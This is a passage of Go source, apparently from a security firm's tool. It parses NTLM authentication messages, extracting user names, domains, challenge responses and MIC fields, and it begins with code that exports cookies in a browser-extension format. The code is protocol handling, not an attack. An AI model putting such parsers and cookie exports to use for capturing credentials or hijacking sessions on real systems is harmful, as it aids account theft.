cookie.Secure,\n\t\t\tHTTPOnly:         cookie.HttpOnly,\n\t\t\tSameSite:         \"no_restriction\",\n\t\t\tSession:          true,\n\t\t\tFirstPartyDomain: \"\",\n\t\t\tPartitionKey:     nil,\n\t\t\tStoreID:          nil,\n\t\t})\n\t}\n\n\treturn cookieEditorExportFormat\n}\n"
  },
  {
    "path": "pkg/ntlm/datatypes.go",
    "content": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage ntlm\n\nconst (\n\n\t// NTLM message size minimum sizes\n\tNTLM_MINIMUM_HEADER_SIZE       = 12\n\tNTLM_MINIMUM_NEGOTIATE_SIZE    = 32\n\tNTLM_MINIMUM_CHALLENGE_SIZE    = 48\n\tNTLM_MINIMUM_AUTHENTICATE_SIZE = 64\n\n\t// NTLM Message Types\n\tMESSAGE_TYPE_NEGOTIATE    = 0x1\n\tMESSAGE_TYPE_CHALLENGE    = 0x2\n\tMESSAGE_TYPE_AUTHENTICATE = 0x3\n\n\t// NTLM Valid AvId Values\n\tMsvAvEOL             = 0x0000\n\tMsvAvNbComputerName  = 0x0001\n\tMsvAvNbDomainName    = 0x0002\n\tMsvAvDnsComputerName = 0x0003\n\tMsvAvDnsDomainName   = 0x0004\n\tMsvAvDnsTreeName     = 0x0005\n\tMsvAvFlags           = 0x0006\n\tMsvAvTimestamp       = 0x0007\n\tMsvAvSingleHost      = 0x0008\n\tMsvAvTargetName      = 0x0009\n\tMsvChannelBindings   = 0x000A\n\n\t// MsvAvFlags Values\n\tAccountAuthenticationConstrained = 0x00000001\n\tMessageIntegrityCodeIncluded     = 0x00000002\n\tServicePrincipalNameIncluded     = 0x00000004\n)\n\nvar (\n\tNTLM_SIGNATURE = [8]byte{0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00}\n)\n\ntype NEGOTIATE_MESSAGE struct {\n\tSignature             []byte\n\tMessageType           uint32\n\tNegotiateFlags        uint32\n\tDecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS\n\tDomainNameFields      struct {\n\t\tDomainNameLen          uint16\n\t\tDomainNameMaxLen       uint16\n\t\tDomainNameBufferOffset uint32\n\t\tDomainName             []byte\n\t}\n\tWorkstationFields struct {\n\t\tWorkstationLen          uint16\n\t\tWorkstationMaxLen       uint16\n\t\tWorkstationBufferOffset uint32\n\t\tWorkstationName         []byte\n\t}\n\tVersion NTLM_VERSION_INFO_DEBUG\n}\n\ntype CHALLENGE_MESSAGE struct {\n\tSignature        []byte\n\tMessageType      uint32\n\tTargetNameFields struct {\n\t\tTargetNameLen          uint16\n\t\tTargetNameMaxLen       uint16\n\t\tTargetNameBufferOffset uint32\n\t\tTargetName             []byte\n\t}\n\tNegotiateFlags        uint32\n\tDecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS\n\tServerChallenge       []byte\n\tReserved              []byte\n\tTargetInfoFields      struct {\n\t\tTargetInfoLen          uint16\n\t\tTargetInfoMaxLen       uint16\n\t\tTargetInfoBufferOffset uint32\n\t\tTargetInfo             []byte\n\t}\n\tDecodedTargetInfo DECODED_TARGET_INFO\n\tVersion           NTLM_VERSION_INFO_DEBUG\n}\n\ntype AUTHENTICATE_MESSAGE struct {\n\tSignature                 []byte\n\tMessageType               uint32\n\tLmChallengeResponseFields struct {\n\t\tLmChallengeResponseLen          uint16\n\t\tLmChallengeResponseMaxLen       uint16\n\t\tLmChallengeResponseBufferOffset uint32\n\t\tLmChallengeResponse             []byte\n\t}\n\tNtChallengeResponseFields struct {\n\t\tNtChallengeResponseLen          uint16\n\t\tNtChallengeResponseMaxLen       uint16\n\t\tNtChallengeResponseBufferOffset uint32\n\t\tNtChallengeResponse             []byte\n\t\tNTLMv2Response                  NTLMv2_RESPONSE\n\t}\n\tDomainNameFields struct {\n\t\tDomainNameLen          uint16\n\t\tDomainNameMaxLen       uint16\n\t\tDomainNameBufferOffset uint32\n\t\tDomainName             []byte\n\t}\n\tUserNameFields struct {\n\t\tUserNameLen          uint16\n\t\tUserNameMaxLen       uint16\n\t\tUserNameBufferOffset uint32\n\t\tUserName             []byte\n\t}\n\tWorkstationFields struct {\n\t\tWorkstationLen          uint16\n\t\tWorkstationMaxLen       uint16\n\t\tWorkstationBufferOffset uint32\n\t\tWorkstation             []byte\n\t}\n\tEncryptedRandomSessionKeyFields struct {\n\t\tEncryptedRandomSessionKeyLen          uint16\n\t\tEncryptedRandomSessionKeyMaxLen       uint16\n\t\tEncryptedRandomSessionKeyBufferOffset uint32\n\t\tEncryptedRandomSessionKey             []byte\n\t}\n\tNegotiateFlags        uint32\n\tDecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS\n\tVersion               NTLM_VERSION_INFO_DEBUG\n\tMIC                   []byte\n}\n\ntype NTLM_VERSION_INFO_DEBUG struct {\n\tProductMajorVersion uint8\n\tProductMinorVersion uint8\n\tProductBuild        uint16\n\tReserved            []byte\n\tNTLMRevisionCurrent byte\n}\n\ntype DECODED_NEGOTIATE_FLAGS struct {\n\tNTLM_NEGOTIATE_56                          bool\n\tNTLM_NEGOTIATE_KEY_EXCH                    bool\n\tNTLM_NEGOTIATE_128                         bool\n\tR1                                         bool\n\tR2                                         bool\n\tR3                                         bool\n\tNTLM_NEGOTIATE_VERSION                     bool\n\tR4                                         bool\n\tNTLM_NEGOTIATE_TARGET_INFO                 bool\n\tNTLM_REQUEST_NON_NT_SESSION_KEY            bool\n\tR5                                         bool\n\tNTLMSSP_NEGOTIATE_IDENTIFY                 bool\n\tNTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY bool\n\tR6                                         bool\n\tNTLMSSP_TARGET_TYPE_SERVER                 bool\n\tNTLMSSP_TARGET_TYPE_DOMAIN                 bool\n\tNTLMSSP_NEGOTIATE_ALWAYS_SIGN              bool\n\tR7                                         bool\n\tNTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED bool\n\tNTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED      bool\n\tANONYMOUS_CONNECTION                       bool\n\tR8                                         bool\n\tNTLMSSP_NEGOTIATE_NTLM                     bool\n\tR9                                         bool\n\tNTLMSSP_NEGOTIATE_LM_KEY                   bool\n\tNTLMSSP_NEGOTIATE_DATAGRAM                 bool\n\tNTLMSSP_NEGOTIATE_SEAL                     bool\n\tNTLMSSP_NEGOTIATE_SIGN                     bool\n\tR10                                        bool\n\tNTLMSSP_REQUEST_TARGET                     bool\n\tNTLM_NEGOTIATE_OEM                         bool\n\tNTLMSSP_NEGOTIATE_UNICODE                  bool\n}\n\ntype DECODED_TARGET_INFO struct {\n\tAvPairs []AV_PAIR\n}\n\ntype AV_PAIR struct {\n\tAvId   uint16\n\tAvLen  uint16\n\tAvData []byte\n}\n\ntype NTLMv2_RESPONSE struct {\n\tResponse        []byte\n\tClientChallenge NTLMv2_CLIENT_CHALLENGE\n}\n\ntype NTLMv2_CLIENT_CHALLENGE struct {\n\tRespType            byte\n\tHiRespType          byte\n\tReserved1           []byte\n\tReserved2           []byte\n\tTimeStamp           []byte\n\tChallengeFromClient []byte\n\tReserved3           []byte\n\tAvPairs             []AV_PAIR\n}\n"
  },
  {
    "path": "pkg/ntlm/debug.go",
    "content": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage ntlm\n\nimport \"fmt\"\n\nfunc (*NEGOTIATE_MESSAGE) Print() {\n\tfmt.Println(\"Printing Contents of NEGOTIATE_MESSAGE\")\n}\n\nfunc (*CHALLENGE_MESSAGE) Print() {\n\tfmt.Println(\"Printing Contents of CHALLENGE_MESSAGE\")\n}\n\nfunc (*AUTHENTICATE_MESSAGE) Print() {\n\tfmt.Println(\"Printing contents of AUTHENTICATE_MESSAGE\")\n}\n"
  },
  {
    "path": "pkg/ntlm/decoder.go",
    "content": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage ntlm\n\nfunc decodeInt16LittleEndian(rawBytes []byte) uint16 {\n\treturn uint16(rawBytes[0]) | uint16(rawBytes[1])<<8\n}\n\nfunc decodeInt32LittleEndian(rawBytes []byte) uint32 {\n\treturn uint32(rawBytes[0]) | uint32(rawBytes[1])<<8 | uint32(rawBytes[2])<<16 | uint32(rawBytes[3])<<24\n}\n"
  },
  {
    "path": "pkg/ntlm/ntlm.go",
    "content": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage ntlm\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n)\n\nfunc DecodeMessage(rawBytes []byte) (interface{}, error) {\n\tif len(rawBytes) < 12 {\n\t\treturn nil, fmt.Errorf(\"NTLM message too short header must be at least 12 bytes\")\n\t}\n\n\tsignature := rawBytes[:8]\n\tif !bytes.Equal(signature, NTLM_SIGNATURE[:]) {\n\t\treturn nil, fmt.Errorf(\"NTLM signature mismatch\")\n\t}\n\n\tmessageType := rawBytes[8:12][0]\n\tswitch messageType {\n\tcase MESSAGE_TYPE_NEGOTIATE:\n\t\treturn DecodeNegotiateMessage(rawBytes)\n\tcase MESSAGE_TYPE_CHALLENGE:\n\t\treturn DecodeChallengeMessage(rawBytes)\n\tcase MESSAGE_TYPE_AUTHENTICATE:\n\t\treturn DecodeAuthenticateMessage(rawBytes)\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"NTLM invalid message type specified\")\n\t}\n}\n\nfunc DecodeNegotiateMessage(rawBytes []byte) (*NEGOTIATE_MESSAGE, error) {\n\tvar NegotiateMessage NEGOTIATE_MESSAGE\n\n\tif len(rawBytes) < NTLM_MINIMUM_NEGOTIATE_SIZE {\n\t\treturn nil, fmt.Errorf(\"NTLM message too short\")\n\t}\n\n\tNegotiateMessage.Signature = rawBytes[:8]\n\tNegotiateMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12])\n\tNegotiateMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[12:16])\n\tNegotiateMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(NegotiateMessage.NegotiateFlags)\n\tNegotiateMessage.DomainNameFields.DomainNameLen = decodeInt16LittleEndian(rawBytes[16:18])\n\tNegotiateMessage.DomainNameFields.DomainNameMaxLen = decodeInt16LittleEndian(rawBytes[18:20])\n\tNegotiateMessage.DomainNameFields.DomainNameBufferOffset = decodeInt32LittleEndian(rawBytes[20:24])\n\tNegotiateMessage.WorkstationFields.WorkstationLen = decodeInt16LittleEndian(rawBytes[24:26])\n\tNegotiateMessage.WorkstationFields.WorkstationMaxLen = decodeInt16LittleEndian(rawBytes[26:28])\n\tNegotiateMessage.WorkstationFields.WorkstationBufferOffset = decodeInt32LittleEndian(rawBytes[28:32])\n\n\tif NegotiateMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION {\n\t\tif len(rawBytes) < 40 {\n\t\t\treturn nil, fmt.Errorf(\"NTLM message too short\")\n\t\t}\n\n\t\tNegotiateMessage.Version.ProductMajorVersion = rawBytes[32]\n\t\tNegotiateMessage.Version.ProductMinorVersion = rawBytes[33]\n\t\tNegotiateMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[34:36])\n\t\tNegotiateMessage.Version.Reserved = rawBytes[36:39]\n\t\tNegotiateMessage.Version.NTLMRevisionCurrent = rawBytes[39]\n\t}\n\n\tDomainNameFields := NegotiateMessage.DomainNameFields\n\tbeginOffset := DomainNameFields.DomainNameBufferOffset\n\tendOffset := beginOffset + uint32(DomainNameFields.DomainNameLen)\n\tif endOffset > uint32(len(rawBytes)) {\n\t\treturn nil, fmt.Errorf(\"DomainName, NTLM message too short, endOffset %d > len(rawBytes) %d\", endOffset, len(rawBytes))\n\t}\n\tNegotiateMessage.DomainNameFields.DomainName = rawBytes[beginOffset:endOffset]\n\n\tWorkstationFields := NegotiateMessage.WorkstationFields\n\tbeginOffset = WorkstationFields.WorkstationBufferOffset\n\tendOffset = beginOffset + uint32(WorkstationFields.WorkstationLen)\n\tif endOffset > uint32(len(rawBytes)) {\n\t\treturn nil, fmt.Errorf(\"WorkstationFields, NTLM message too short, endOffset %d > len(rawBytes) %d\", endOffset, len(rawBytes))\n\t}\n\tNegotiateMessage.WorkstationFields.WorkstationName = rawBytes[beginOffset:endOffset]\n\n\treturn &NegotiateMessage, nil\n}\n\nfunc DecodeChallengeMessage(rawBytes []byte) (*CHALLENGE_MESSAGE, error) {\n\tvar ChallengeMessage CHALLENGE_MESSAGE\n\tvar err error\n\n\tif len(rawBytes) < NTLM_MINIMUM_CHALLENGE_SIZE {\n\t\treturn nil, fmt.Errorf(\"buffer is too short for a challenge message\")\n\t}\n\n\tChallengeMessage.Signature = rawBytes[:8]\n\tChallengeMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12])\n\tChallengeMessage.TargetNameFields.TargetNameLen = decodeInt16LittleEndian(rawBytes[12:14])\n\tChallengeMessage.TargetNameFields.TargetNameMaxLen = decodeInt16LittleEndian(rawBytes[14:16])\n\tChallengeMessage.TargetNameFields.TargetNameBufferOffset = decodeInt32LittleEndian(rawBytes[16:20])\n\tTargetNameFields := ChallengeMessage.TargetNameFields\n\tbeginOffset := TargetNameFields.TargetNameBufferOffset\n\tendOffset := beginOffset + uint32(TargetNameFields.TargetNameLen)\n\tif endOffset > uint32(len(rawBytes)) {\n\t\treturn nil, fmt.Errorf(\"TargetName, NTLM message too short, endOffset %d > len(rawBytes) %d\", endOffset, len(rawBytes))\n\t}\n\tChallengeMessage.TargetNameFields.TargetName = rawBytes[beginOffset:endOffset]\n\tChallengeMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[20:24])\n\tChallengeMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(ChallengeMessage.NegotiateFlags)\n\n\tChallengeMessage.ServerChallenge = rawBytes[24:32]\n\tChallengeMessage.Reserved = rawBytes[32:40]\n\tChallengeMessage.TargetInfoFields.TargetInfoLen = decodeInt16LittleEndian(rawBytes[40:42])\n\tChallengeMessage.TargetInfoFields.TargetInfoMaxLen = decodeInt16LittleEndian(rawBytes[42:44])\n\tChallengeMessage.TargetInfoFields.TargetInfoBufferOffset = decodeInt32LittleEndian(rawBytes[44:48])\n\tTargetInfoFields := ChallengeMessage.TargetInfoFields\n\tbeginOffset = TargetInfoFields.TargetInfoBufferOffset\n\tendOffset = beginOffset + uint32(TargetInfoFields.TargetInfoLen)\n\tif endOffset > uint32(len(rawBytes)) {\n\t\treturn nil, fmt.Errorf(\"TargetInfo, NTLM message too short, endOffset %d > len(rawBytes) %d\", endOffset, len(rawBytes))\n\t}\n\tChallengeMessage.TargetInfoFields.TargetInfo = rawBytes[beginOffset:endOffset]\n\tChallengeMessage.DecodedTargetInfo.AvPairs, err = DecodeAvPairs(ChallengeMessage.TargetInfoFields.TargetInfo)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"TargetInfo, unable to decode TargetInfo fields, err: %v\", err)\n\t}\n\n\tif ChallengeMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION {\n\t\tif len(rawBytes) < 54 {\n\t\t\treturn nil, fmt.Errorf(\"NTLM message too short\")\n\t\t}\n\n\t\tChallengeMessage.Version.ProductMajorVersion = rawBytes[32]\n\t\tChallengeMessage.Version.ProductMinorVersion = rawBytes[33]\n\t\tChallengeMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[48:50])\n\t\tChallengeMessage.Version.Reserved = rawBytes[50:53]\n\t\tChallengeMessage.Version.NTLMRevisionCurrent = rawBytes[53]\n\t}\n\n\treturn &ChallengeMessage, nil\n}\n\nfunc DecodeAuthenticateMessage(rawBytes []byte) (*AUTHENTICATE_MESSAGE, error) {\n\tvar AuthenticateMessage AUTHENTICATE_MESSAGE\n\tvar err error\n\n\tif len(rawBytes) < NTLM_MINIMUM_AUTHENTICATE_SIZE {\n\t\treturn nil, fmt.Errorf(\"buffer is too short for a challenge message\")\n\t}\n\n\tAuthenticateMessage.Signature = rawBytes[:8]\n\tAuthenticateMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12])\n\tAuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseLen = decodeInt16LittleEndian(rawBytes[12:14])\n\tAuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseMaxLen = decodeInt16LittleEndian(rawBytes[14:16])\n\tAuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseBufferOffset = decodeInt32LittleEndian(rawBytes[16:20])\n\tAuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseLen = decodeInt16LittleEndian(rawBytes[20:22])\n\tAuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseMaxLen = decodeInt16LittleEndian(rawBytes[22:24])\n\tAuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseBufferOffset = decodeInt32LittleEndian(rawBytes[24:28])\n\tAuthenticateMessage.DomainNameFields.DomainNameLen = decodeInt16LittleEndian(rawBytes[28:30])\n\tAuthenticateMessage.DomainNameFields.DomainNameMaxLen = decodeInt16LittleEndian(rawBytes[30:32])\n\tAuthenticateMessage.DomainNameFields.DomainNameBufferOffset = decodeInt32LittleEndian(rawBytes[32:36])\n\tAuthenticateMessage.UserNameFields.UserNameLen = decodeInt16LittleEndian(rawBytes[36:38])\n\tAuthenticateMessage.UserNameFields.UserNameMaxLen = decodeInt16LittleEndian(rawBytes[38:40])\n\tAuthenticateMessage.UserNameFields.UserNameBufferOffset = decodeInt32LittleEndian(rawBytes[40:44])\n\tAuthenticateMessage.WorkstationFields.WorkstationLen = decodeInt16LittleEndian(rawBytes[44:46])\n\tAuthenticateMessage.WorkstationFields.WorkstationMaxLen = decodeInt16LittleEndian(rawBytes[46:48])\n\tAuthenticateMessage.WorkstationFields.WorkstationBufferOffset = decodeInt32LittleEndian(rawBytes[48:52])\n\tAuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyLen = decodeInt16LittleEndian(rawBytes[52:54])\n\tAuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyMaxLen = decodeInt16LittleEndian(rawBytes[54:56])\n\tAuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyBufferOffset = decodeInt32LittleEndian(rawBytes[56:60])\n\tAuthenticateMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[60:64])\n\tAuthenticateMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(AuthenticateMessage.NegotiateFlags)\n\n\tif AuthenticateMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION {\n\t\tif len(rawBytes) < 72 {\n\t\t\treturn nil, fmt.Errorf(\"NTLM message too short\")\n\t\t}\n\n\t\tAuthenticateMessage.Version.ProductMajorVersion = rawBytes[64]\n\t\tAuthenticateMessage.Version.ProductMinorVersion = rawBytes[65]\n\t\tAuthenticateMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[66:68])\n\t\tAuthenticateMessage.Version.Reserved = rawBytes[68:71]\n\t\tAuthenticateMessage.Version.NTLMRevisionCurrent = rawBytes[71]\n\t}\n\n\tLmChallengeResponseFields := AuthenticateMessage.LmChallengeResponseFields\n\tbeginOffset := LmChallengeResponseFields.LmChallengeResponseBufferOffset\n\tendOffset := beginOffset + uint32(LmChallengeResponseFields.LmChallengeResponseMaxLen)\n\tAuthenticateMessage.LmChallengeResponseFields.LmChallengeResponse = rawBytes[beginOffset:endOffset]\n\n\tNtChallengeResponseFields := AuthenticateMessage.NtChallengeResponseFields\n\tbeginOffset = NtChallengeResponseFields.NtChallengeResponseBufferOffset\n\tendOffset = beginOffset + uint32(NtChallengeResponseFields.NtChallengeResponseMaxLen)\n\tif endOffset > uint32(len(rawBytes)) {\n\t\treturn nil, fmt.Errorf(\"NtChallengeResponseFields, NTLM message too short, endOffset %d > len(rawBytes) %d\", endOffset, len(rawBytes))\n\t}\n\tAuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse = rawBytes[beginOffset:endOffset]\n\n\tDomainNameFields := AuthenticateMessage.DomainNameFields\n\tbeginOffset = DomainNameFields.DomainNameBufferOffset\n\tendOffset = beginOffset + uint32(DomainNameFields.DomainNameMaxLen)\n\tif endOffset > uint32(len(rawBytes)) {\n\t\treturn nil, fmt.Errorf(\"DomainNameFields, NTLM message too short, endOffset %d > len(rawBytes) %d\", endOffset, len(rawBytes))\n\t}\n\tAuthenticateMessage.DomainNameFields.DomainName = rawBytes[beginOffset:endOffset]\n\n\tUserNameFields := AuthenticateMessage.UserNameFields\n\tbeginOffset = UserNameFields.UserNameBufferOffset\n\tendOffset = beginOffset + uint32(UserNameFields.UserNameMaxLen)\n\tif endOffset > uint32(len(rawBytes)) {\n\t\treturn nil, fmt.Errorf(\"UserNameFields, NTLM message too short, endOffset %d > len(rawBytes) %d\", endOffset, len(rawBytes))\n\t}\n\tAuthenticateMessage.UserNameFields.UserName = rawBytes[beginOffset:endOffset]\n\n\tWorkstationFields := AuthenticateMessage.WorkstationFields\n\tbeginOffset = WorkstationFields.WorkstationBufferOffset\n\tendOffset = beginOffset + uint32(WorkstationFields.WorkstationMaxLen)\n\tif endOffset > uint32(len(rawBytes)) {\n\t\treturn nil, fmt.Errorf(\"WorkstationFields, NTLM message too short, endOffset %d > len(rawBytes) %d\", endOffset, len(rawBytes))\n\t}\n\tAuthenticateMessage.WorkstationFields.Workstation = rawBytes[beginOffset:endOffset]\n\n\tEncryptedRandomSessionKeyFields := AuthenticateMessage.EncryptedRandomSessionKeyFields\n\tbeginOffset = EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyBufferOffset\n\tendOffset = beginOffset + uint32(EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyMaxLen)\n\tif endOffset > uint32(len(rawBytes)) {\n\t\treturn nil, fmt.Errorf(\"EncryptedRandomSessionKeyFields, NTLM message too short, endOffset %d > len(rawBytes) %d\", endOffset, len(rawBytes))\n\t}\n\tAuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKey = rawBytes[beginOffset:endOffset]\n\n\tif len(AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse) == 24 { // NTLMv1 Detexted\n\n\t} else { // NTLMv2 Detected\n\n\t\tAuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.Response = AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse[:16]\n\n\t\tClientChallengeBytes := AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse[16:]\n\t\tAuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.ClientChallenge, err = DecodeNTLMv2ClientChallenge(ClientChallengeBytes)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"NtChallengeResponseFields, unable to decode NTLMv2 ClientChallenge: %v\", err)\n\t\t}\n\t}\n\n\tAuthenticateMessage.MIC = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}\n\tfor _, avPair := range AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.ClientChallenge.AvPairs {\n\t\tif avPair.AvId == MsvAvFlags {\n\t\t\tAvFlags := decodeInt32LittleEndian(avPair.AvData[:4])\n\t\t\tif AvFlags&MessageIntegrityCodeIncluded == MessageIntegrityCodeIncluded {\n\t\t\t\tif len(rawBytes) < 89 {\n\t\t\t\t\treturn nil, fmt.Errorf(\"NTLM message too short\")\n\t\t\t\t}\n\n\t\t\t\tAuthenticateMessage.MIC = rawBytes[72:88]\n\t\t\t}\n\t\t}\n\t}\n\n\treturn &AuthenticateMessage, nil\n}\n\nfunc DecodeNegotiateFlags(NegotiateFlags uint32) DECODED_NEGOTIATE_FLAGS {\n\tvar DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS\n\n\tDecodedNegotiateFlags.NTLMSSP_NEGOTIATE_UNICODE = (NegotiateFlags & (1 << 0)) != 0\n\tDecodedNegotiateFlags.NTLM_NEGOTIATE_OEM = (NegotiateFlags & (1 << 1)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_REQUEST_TARGET = (NegotiateFlags & (1 << 2)) != 0\n\tDecodedNegotiateFlags.R10 = (NegotiateFlags & (1 << 3)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_NEGOTIATE_SIGN = (NegotiateFlags & (1 << 4)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_NEGOTIATE_SEAL = (NegotiateFlags & (1 << 5)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_NEGOTIATE_DATAGRAM = (NegotiateFlags & (1 << 6)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_NEGOTIATE_LM_KEY = (NegotiateFlags & (1 << 7)) != 0\n\tDecodedNegotiateFlags.R9 = (NegotiateFlags & (1 << 8)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_NEGOTIATE_NTLM = (NegotiateFlags & (1 << 9)) != 0\n\tDecodedNegotiateFlags.R8 = (NegotiateFlags & (1 << 10)) != 0\n\tDecodedNegotiateFlags.ANONYMOUS_CONNECTION = (NegotiateFlags & (1 << 11)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED = (NegotiateFlags & (1 << 12)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED = (NegotiateFlags & (1 << 13)) != 0\n\tDecodedNegotiateFlags.R7 = (NegotiateFlags & (1 << 14)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_NEGOTIATE_ALWAYS_SIGN = (NegotiateFlags & (1 << 15)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_TARGET_TYPE_DOMAIN = (NegotiateFlags & (1 << 16)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_TARGET_TYPE_SERVER = (NegotiateFlags & (1 << 17)) != 0\n\tDecodedNegotiateFlags.R6 = (NegotiateFlags & (1 << 18)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = (NegotiateFlags & (1 << 19)) != 0\n\tDecodedNegotiateFlags.NTLMSSP_NEGOTIATE_IDENTIFY = (NegotiateFlags & (1 << 20)) != 0\n\tDecodedNegotiateFlags.R5 = (NegotiateFlags & (1 << 21)) != 0\n\tDecodedNegotiateFlags.NTLM_REQUEST_NON_NT_SESSION_KEY = (NegotiateFlags & (1 << 22)) != 0\n\tDecodedNegotiateFlags.NTLM_NEGOTIATE_TARGET_INFO = (NegotiateFlags & (1 << 23)) != 0\n\tDecodedNegotiateFlags.R4 = (NegotiateFlags & (1 << 24)) != 0\n\tDecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION = (NegotiateFlags & (1 << 25)) != 0\n\tDecodedNegotiateFlags.R3 = (NegotiateFlags & (1 << 26)) != 0\n\tDecodedNegotiateFlags.R2 = (NegotiateFlags & (1 << 27)) != 0\n\tDecodedNegotiateFlags.R1 = (NegotiateFlags & (1 << 28)) != 0\n\tDecodedNegotiateFlags.NTLM_NEGOTIATE_128 = (NegotiateFlags & (1 << 29)) != 0\n\tDecodedNegotiateFlags.NTLM_NEGOTIATE_KEY_EXCH = (NegotiateFlags & (1 << 30)) != 0\n\tDecodedNegotiateFlags.NTLM_NEGOTIATE_56 = (NegotiateFlags & (1 << 31)) != 0\n\n\treturn DecodedNegotiateFlags\n}\n\nfunc DecodeAvPairs(rawBytes []byte) ([]AV_PAIR, error) {\n\tvar AvPairList []AV_PAIR\n\n\tfor i := 0; i < len(rawBytes); {\n\t\tvar AvPair AV_PAIR\n\n\t\tif len(rawBytes) < i+4 {\n\t\t\treturn nil, fmt.Errorf(\"NTLM message too short\")\n\t\t}\n\t\tAvPair.AvId = decodeInt16LittleEndian(rawBytes[i : i+2])\n\t\ti += 2\n\t\tAvPair.AvLen = decodeInt16LittleEndian(rawBytes[i : i+2])\n\t\ti += 2\n\n\t\tif len(rawBytes) < i+int(AvPair.AvLen) {\n\t\t\treturn nil, fmt.Errorf(\"NTLM message too short\")\n\t\t}\n\t\tAvPair.AvData = rawBytes[i : i+int(AvPair.AvLen)]\n\t\ti += int(AvPair.AvLen)\n\n\t\tAvPairList = append(AvPairList, AvPair)\n\n\t\tif AvPair.AvId 